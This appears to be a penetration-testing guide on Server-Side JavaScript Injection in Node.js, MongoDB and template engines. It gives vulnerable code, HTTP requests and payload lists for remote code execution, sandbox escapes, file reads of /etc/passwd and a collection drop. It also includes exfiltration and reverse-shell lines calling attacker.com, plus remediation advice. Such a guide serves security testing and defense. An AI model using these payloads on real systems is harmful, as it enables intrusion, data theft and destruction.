Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
13 KiB
Server-Side JavaScript Injection (SSJI)
Description
Server-Side JavaScript Injection (SSJI) is a vulnerability that occurs when user-controlled input is evaluated or executed as JavaScript code on the server side. This commonly affects Node.js applications, but can also impact other server-side JavaScript environments like MongoDB queries, ElectronJS applications, and server-side rendering frameworks.
How SSJI Works
Unlike client-side XSS, SSJI executes JavaScript code on the server, potentially allowing attackers to:
- Execute arbitrary system commands
- Access server files and sensitive data
- Bypass authentication and authorization
- Manipulate database queries
- Achieve Remote Code Execution (RCE)
Common Vulnerable Functions
Node.js
eval()- Directly evaluates JavaScript codeFunction()constructor - Creates and executes functionssetTimeout()/setInterval()with string argumentsvm.runInNewContext()without proper sandboxingchild_process.exec()with unsanitized input- Template engines (Handlebars, Pug, EJS) with unsafe rendering
MongoDB
$whereoperator - Evaluates JavaScript in queriesmapReduce()- Can execute arbitrary JavaScript$functionaggregation operator
Common Attack Vectors
- User input fields
- JSON API parameters
- Template rendering
- MongoDB queries
- Configuration files
- Cookie values
- HTTP headers
- File upload metadata
- Server-side rendering (SSR)
Testing Methodology & PoC Examples
PoC 1: Basic eval() Injection
Vulnerability: User input passed directly to eval().
Vulnerable Code:
// Vulnerable Node.js code
app.get('/calculate', (req, res) => {
const result = eval(req.query.expression);
res.json({ result });
});
Steps to Test:
- Identify input that might be evaluated
- Test with mathematical expressions
- Inject JavaScript code
Request:
GET /calculate?expression=2+2 HTTP/1.1
Host: example.com
# Normal response: {"result": 4}
GET /calculate?expression=require('child_process').execSync('whoami').toString() HTTP/1.1
Host: example.com
# RCE: Returns username
Payload Examples:
2+2
Math.random()
require('fs').readFileSync('/etc/passwd', 'utf8')
require('child_process').execSync('cat /etc/passwd').toString()
global.process.mainModule.require('child_process').execSync('id').toString()
PoC 2: Function Constructor Injection
Vulnerability: Using Function constructor with user input.
Vulnerable Code:
app.post('/execute', (req, res) => {
const fn = new Function('return ' + req.body.code);
const result = fn();
res.json({ result });
});
Request:
POST /execute HTTP/1.1
Host: example.com
Content-Type: application/json
{"code": "require('child_process').execSync('ls -la').toString()"}
Payloads:
require('fs').readFileSync('/etc/passwd', 'utf8')
process.env
global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()
PoC 3: MongoDB $where Injection
Vulnerability: User input in MongoDB $where queries.
Vulnerable Code:
// Vulnerable MongoDB query
app.get('/users', async (req, res) => {
const users = await User.find({
$where: `this.username == '${req.query.username}'`
});
res.json(users);
});
Request:
GET /users?username=admin' || '1'=='1 HTTP/1.1
Host: example.com
# Returns all users
GET /users?username=admin'; return true; // HTTP/1.1
Host: example.com
# Bypasses query, returns all users
Payloads:
admin' || '1'=='1
'; return true; //
'; return this.password.match(/^a/); //
'; var http = require('http'); return true; //
'; db.users.drop(); return true; //
PoC 4: Template Injection (Handlebars, Pug, EJS)
Vulnerability: Unsafe template rendering with user input.
Vulnerable Handlebars Code:
const Handlebars = require('handlebars');
app.get('/greet', (req, res) => {
const template = Handlebars.compile('Hello {{name}}!');
const result = template({ name: req.query.name });
res.send(result);
});
Handlebars SSJI Payloads:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
EJS Template Injection:
<%= global.process.mainModule.require('child_process').execSync('cat /etc/passwd') %>
<%= require('child_process').execSync('ls -la').toString() %>
Pug Template Injection:
#{global.process.mainModule.require('child_process').execSync('id')}
#{function(){return require('child_process').execSync('whoami')}()}
PoC 5: vm.runInNewContext() Bypass
Vulnerability: Improper use of Node.js VM module.
Vulnerable Code:
const vm = require('vm');
app.post('/execute', (req, res) => {
const sandbox = {};
const result = vm.runInNewContext(req.body.code, sandbox);
res.json({ result });
});
Sandbox Escape Payloads:
this.constructor.constructor('return process')()
this.constructor.constructor('return global.process.mainModule.require("child_process").execSync("whoami").toString()')()
(function(){return this.constructor.constructor('return process')()})()
({}).constructor.constructor('return this.process.mainModule.require("child_process").execSync("id").toString()')()
PoC 6: setTimeout/setInterval String Evaluation
Vulnerability: Using setTimeout/setInterval with string arguments.
Vulnerable Code:
app.post('/schedule', (req, res) => {
setTimeout(req.body.callback, 1000);
res.json({ scheduled: true });
});
Payloads:
require('child_process').exec('curl attacker.com/?data=$(cat /etc/passwd)')
require('fs').writeFileSync('/tmp/pwned', 'hacked')
global.process.exit(1)
PoC 7: JSON.parse with Prototype Pollution
Vulnerability: Unsafe parsing leading to prototype pollution and code execution.
Request:
POST /api/update HTTP/1.1
Host: example.com
Content-Type: application/json
{
"__proto__": {
"isAdmin": true,
"toString": "require('child_process').execSync('whoami').toString()"
}
}
PoC 8: Express Server-Side Rendering
Vulnerability: Unsafe SSR with user-controlled templates.
Vulnerable Code:
app.get('/render', (req, res) => {
res.render('template', {
userInput: req.query.input
});
});
If template uses unsafe rendering:
input=<%= global.process.mainModule.require('child_process').execSync('id') %>
PoC 9: child_process with Unsanitized Input
Vulnerability: Command injection via child_process.
Vulnerable Code:
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
exec(`ping -c 4 ${req.query.host}`, (error, stdout) => {
res.send(stdout);
});
});
Payloads:
127.0.0.1; cat /etc/passwd
127.0.0.1 && whoami
127.0.0.1 | nc attacker.com 4444 -e /bin/bash
`curl attacker.com/?data=$(cat /etc/passwd)`
$(curl attacker.com/?data=$(whoami))
PoC 10: MongoDB mapReduce Injection
Vulnerability: User input in MongoDB mapReduce operations.
Vulnerable Code:
app.post('/aggregate', async (req, res) => {
const result = await User.mapReduce(
function() { eval(userInput); emit(this._id, 1); },
function(k, v) { return Array.sum(v); },
{ out: "result" }
);
});
Payload:
db.users.find().forEach(function(user) {
db.stolen.insert(user);
});
Exploitation Techniques
1. Remote Code Execution
require('child_process').execSync('bash -i >& /dev/tcp/attacker.com/4444 0>&1')
require('child_process').spawn('nc', ['-e', '/bin/bash', 'attacker.com', '4444'])
2. File System Access
require('fs').readFileSync('/etc/passwd', 'utf8')
require('fs').writeFileSync('/tmp/backdoor.js', 'malicious code')
require('fs').readdirSync('/').toString()
3. Environment Variable Exfiltration
process.env
JSON.stringify(process.env)
4. Database Access
require('mongoose').connection.db.admin().listDatabases()
5. Module Loading
require('module')._load('child_process')
global.process.mainModule.require('fs')
Tools for Testing
1. Manual Testing with cURL
curl "https://example.com/api?expr=require('os').userInfo()"
curl -X POST https://example.com/execute \
-H "Content-Type: application/json" \
-d '{"code":"global.process.mainModule.require(\"child_process\").execSync(\"id\").toString()"}'
2. Burp Suite
- Intercept requests
- Inject SSJI payloads in parameters
- Use Intruder for automated testing
3. Custom Scripts
const axios = require('axios');
const payloads = [
'require("fs").readFileSync("/etc/passwd", "utf8")',
'require("child_process").execSync("whoami").toString()',
'global.process.mainModule.require("child_process").execSync("id").toString()'
];
for (const payload of payloads) {
axios.post('https://example.com/execute', {
code: payload
}).then(res => {
console.log(`Payload: ${payload}`);
console.log(`Result: ${res.data}`);
});
}
4. MongoDB Testing
const MongoClient = require('mongodb').MongoClient;
// Test $where injection
db.users.find({
$where: "this.username == 'admin' || true"
});
Exploitation Impact
- Critical: Remote Code Execution (RCE)
- High: Server compromise, data exfiltration
- Sensitive Data Access: Database credentials, environment variables, files
- Denial of Service: Process termination, resource exhaustion
- Lateral Movement: Access to internal networks
Remediation
1. Never Use eval() or Function()
// Bad
const result = eval(userInput);
// Good - Use safe alternatives
const result = math.evaluate(userInput); // Using math.js library
2. Sanitize Input
// Validate and sanitize all user input
const validator = require('validator');
if (!validator.isNumeric(input)) {
throw new Error('Invalid input');
}
3. Use Safe Alternatives
// Bad
exec(`command ${userInput}`);
// Good
execFile('command', [userInput]);
4. Avoid $where in MongoDB
// Bad
User.find({ $where: `this.username == '${input}'` });
// Good
User.find({ username: input });
5. Secure Template Rendering
// Use safe template rendering options
app.set('view options', {
allowProtoProperties: false,
allowProtoMethodsByDefault: false
});
6. Input Validation
const Joi = require('joi');
const schema = Joi.object({
expression: Joi.string().regex(/^[0-9+\-*/() ]+$/)
});
const { error, value } = schema.validate(req.body);
7. Least Privilege
- Run Node.js with minimal permissions
- Use containers with restricted capabilities
- Implement proper file system permissions
8. Content Security Policy
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}));
9. Disable Dangerous Features
// Disable eval in strict mode
'use strict';
// Use VM2 instead of vm for better sandboxing
const { VM } = require('vm2');
const vm = new VM({
timeout: 1000,
sandbox: {}
});
10. Security Auditing
- Regular code reviews
- Use linters (ESLint with security plugins)
- Dependency scanning (npm audit, Snyk)
- Penetration testing
Detection and Monitoring
1. Log Suspicious Activity
// Log eval usage
const originalEval = eval;
eval = function(...args) {
logger.warn('eval() called', { args });
return originalEval(...args);
};
2. Monitor System Calls
- Watch for unexpected child processes
- Monitor file system access
- Track network connections
3. Runtime Protection
// Freeze dangerous globals
Object.freeze(require);
Object.freeze(global);
References
- OWASP - Code Injection
- Node.js Security Best Practices
- MongoDB Security Checklist
- Avoiding eval and new Function
- CWE-94: Improper Control of Generation of Code
Payloads
See ssji-payloads.txt for a comprehensive list of SSJI payloads and injection techniques.